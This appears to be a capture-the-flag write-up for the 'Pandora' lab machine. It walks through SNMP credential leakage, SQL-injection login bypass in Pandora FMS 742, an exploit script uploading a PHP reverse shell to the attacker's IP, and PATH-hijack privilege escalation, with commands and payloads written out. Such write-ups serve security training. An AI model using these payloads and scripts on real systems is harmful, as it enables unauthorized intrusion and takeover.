
Enumeration
IP-ADDR: 10.10.11.136 pandora.htb
nmap scan: TCP/IP
1
2
3
4
5
6
7
8
9
10
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 24:c2:95:a5:c3:0b:3f:f3:17:3c:68:d7:af:2b:53:38 (RSA)
| 256 b1:41:77:99:46:9a:6c:5d:d2:98:2f:c0:32:9a:ce:03 (ECDSA)
|_ 256 e7:36:43:3b:a9:47:8a:19:01:58:b2:bc:89:f6:51:08 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Play | Landing
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- Noting interested found webapp, except a hostname
panda.htbfrom multiple places on/index.html
nmap scan: UDP
1
2
PORT STATE SERVICE
161/udp open|filtered snmp
Foothold
enumerating SNMP
- Check pit box write-up for detail information on SNMP
after running for a while, snmpwalk found some strings from “hrSWRunParameters” in which found some creds.
1
2
❯ snmpwalk -v2c -c public 10.10.11.136 1.3.6.1.2.1.25.4.2.1.5.822
HOST-RESOURCES-MIB::hrSWRunParameters.822 = STRING: "-c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'"
- Creds:
daniel:HotelBabylon23 - you could run
snmpwalk -v2c -c public 10.10.11.136 hrSWRunParametersto view all stings.
And successfully logged-in into SSH with found creds.
Lateral movement
There are 2 interesting binaries
1
2
/usr/bin/pandora_backup
/usr/bin/host_check
And 1 more user besides “daniel”,
1
matt:x:1000:1000:matt:/home/matt:/bin/bash
Who have access to SUID binary /usr/bin/pandora_backup
1
-rwsr-x--- 1 root matt 16816 Dec 3 15:58 /usr/bin/pandora_backup
There are 2 www direcotries
1
2
drwxr-xr-x 3 root root 4096 Dec 7 14:32 html
drwxr-xr-x 3 matt matt 4096 Dec 7 14:32 pandora
“Pandora” is owned by user “matt”
Viewing /etc/hosts file found another vHost pandora.pandora.htb
1
2
3
daniel@pandora:/var/www/pandora$ cat /etc/hosts
127.0.0.1 localhost.localdomain pandora.htb pandora.pandora.htb
127.0.1.1 pandora
But “Pandora” is not available from remote because it is configured to access only from localhost
1
2
3
4
5
6
7
8
9
10
11
12
daniel@pandora:/etc/apache2/sites-available$ cat pandora.conf
<VirtualHost localhost:80>
ServerAdmin admin@panda.htb
ServerName pandora.panda.htb
DocumentRoot /var/www/pandora
AssignUserID matt matt
<Directory /var/www/pandora>
AllowOverride All
</Directory>
ErrorLog /var/log/apache2/error.log
CustomLog /var/log/apache2/access.log combined
</VirtualHost>
And service running is “Pandora FMS”
1
2
daniel@pandora:/etc/apache2/sites-available$ curl -s http://127.0.0.1/pandora_console/ | grep -i '<title>'
<title>Pandora FMS - the Flexible Monitoring System</title>
One way we can access to this localhost services is using ssh dynamic port forwarding
1
ssh -D 4141 daniel@10.10.11.136
Then, there are multiple ways to configure proxy using proxychains, shell env_variable, browser proxy add-on, burpsuite.
- proxychains: Append “
socks5 127.0.0.1 4141” line in the end of the “/etc/proxychains.conf” and comment out any other active proxy. - shell env_variable: Run following command:
export http_proxy=socks5://127.0.0.1:4141 - browser proxy add-on: Use “FoxyProxy” and add new proxy rule for “Proxy Type=SOCKS5”, “IP=127.0.0.1”, “PORT=4141”
- Burpsuite: If you are using burp than check this - “User options –> Connections –> SOCKS proxy”
Pandora FMS - SQLi and file upload
- Running version is: v7.0NG.742_FIX_PERL2020, Found in the bottom of the login page
Login with creds return some access limitations error

There are some bugs in Pandora FMS 742
- Disclosure Blog: https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained/
- CVE Detail: https://www.cvedetails.com/cve/CVE-2021-32099/Artica-Pandora-Fms-742.html
- PoC Video: https://youtu.be/61KE45V7VT8
CVE-2021-32099: A SQL injection vulnerability in the pandora_console component of Artica Pandora FMS 742 allows an unauthenticated attacker to upgrade his unprivileged session via the /include/chart_generator.php session_id parameter, leading to a login bypass.
Used to bypass login.
Code review
Here is the step file of Pandora FMS v7.0NG.742
but we are going to read sourcecode from /var/www/pandora/pandora_console
It start from ./include/chart_generator.php

session_id parameter value assign to phpsessionid and pass to ./include/lib/User.php

Here phpsessionid value assign to id_session and pass to db_get_row_filter() function.
This function found in many places but we are intrested in mysql’s version (because ss -lntp PORT 3306) of that function which found in ./include/db/mysql.php

So, here is the sql query statement sprintf('SELECT %s FROM %s %s', $fields, $table, $filter)
And here’s how it looks like, when it get executed
fields==*table==tsessions_phpfilter==id_session==phpsessionid==session_id
1
SELECT * FROM tsessions_php WHERE id_session=session_id
SQLMAP
We have enough information, Time to run sqlmap
1
sqlmap --url "http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=" --batch --dbms=mysql --proxy 'socks5://127.0.0.1:4141'

1
2
3
4
5
6
7
8
9
10
11
12
sqlmap --url "http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=" --batch --dbms=mysql --proxy 'socks5://127.0.0.1:4141' --technique=E --dbs
... [snip] ...
[18:13:19] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 20.04 or 20.10 or 19.10 (eoan or focal)
web application technology: PHP, Apache 2.4.41
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[18:13:19] [INFO] fetching database names
[18:13:20] [INFO] retrieved: 'information_schema'
[18:13:21] [INFO] retrieved: 'pandora'
available databases [2]:
[*] information_schema
[*] pandora
1
sqlmap --url "http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=" --batch --dbms=mysql --proxy 'socks5://127.0.0.1:4141' --technique=E -D pandora -T tsessions_php --dump

Here are those session and there decoded values.
Copy admin cookie encode value from “id_session” column and replace “PHPSESSID” value with it using cookie editor and refresh pandora login page.
Or you could use some sql inject payload to set your session as admin without dumping table everytime using /include/chart_generator.php parameter session_id with sql injection payload.
1
http://127.0.0.1/pandora_console/include/chart_generator.php?session_id=1' union select 'NULL','NULL','id_usuario|s:5:"admin";'-- -
And the complete query looks like this
1
SELECT * FROM tsessions_php WHERE id_session='1' union select 'NULL','NULL','id_usuario|s:5:"admin";'-- -
File Upload
And here we have admin panel with insecure file upload function

If you intercept file upload request you will found upload location is /var/www/pandora/pandora_console/images that means /pandora_console/images from web server.
We have done so much and here is the python presentation of it
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import netifaces as ni
base_path = "http://127.0.0.1/pandora_console"
tun0_ip = ni.ifaddresses('tun0')[ni.AF_INET][0]['addr']
rev = f"<?php exec(\"/bin/bash -c 'bash -i > /dev/tcp/{tun0_ip}/4242 0>&1'\"); ?>"
s = requests.Session()
s.proxies = {"http": "socks5://127.0.0.1:4141"}
sqli = "/include/chart_generator.php?session_id=1' union select '1','2','id_usuario|s:5:\"admin\";' -- -"
sess = s.post(base_path + sqli)
if "Pandora FMS Graph ( - )" in sess.text:
print("[ + ] Logged in!")
file_ = {'file': ("shell.php", rev, 'application/x-php'),
'umask': (None, None),
'decompress_sent': (None, 1),
'go': (None, 'Go'),
'real_directory': (None, '/var/www/pandora/pandora_console/images'),
'directory': (None, 'images'),
'hash': (None, '6427eed956c3b836eb0644629a183a9b'),
'hash2': (None, '594175347dddf7a54cc03f6c6d0f04b4'),
'upload_file_or_zip': (None, 1)}
shell_upload = s.post(base_path + "/index.php?sec=gsetup&sec2=godmode/setup/file_manager", files=file_)
if "Uploaded successfully" in shell_upload.text:
print("[ + ] Great. PHP script uploaded... Now going to execute for you...")
try:
f = s.get(base_path + '/images/shell.php', timeout=0.0001)
print(f.text)
except requests.exceptions.ReadTimeout:
pass
else:
print("[ - ] Failed to upload PHP script...")
print(shell_upload.text)
else:
print("[ - ] Cannot login to PandoraFMS...")

Privesc
setresuid Restriction Bypass
Now we can access to /usr/bin/pandora_backup.
But running sudo -l gives an error
1
2
3
(remote) matt@pandora:/home/matt$ sudo -l
sudo: PERM_ROOT: setresuid(0, -1, -1): Operation not permitted
sudo: unable to initialize policy plugin
And this error tells that user don’t have permission to run setresuid() function.
That means we can not able to run suid binaries as root.
we could use at command to bypass shell restriction
1
echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null

Now, Running strings on that bianry found 1 command, That this bianry is executing
1
tar -cvf /root/.backup/pandora-backup.tar.gz /var/www/pandora/pandora_console/*
Here we can exploit tar command absolute path as bianry is not using tar command absolute path
1
2
3
4
5
cd /tmp
echo "/bin/bash" > tar
chmod 777 tar
export PATH=/tmp:$PATH
/usr/bin/pandora_backup
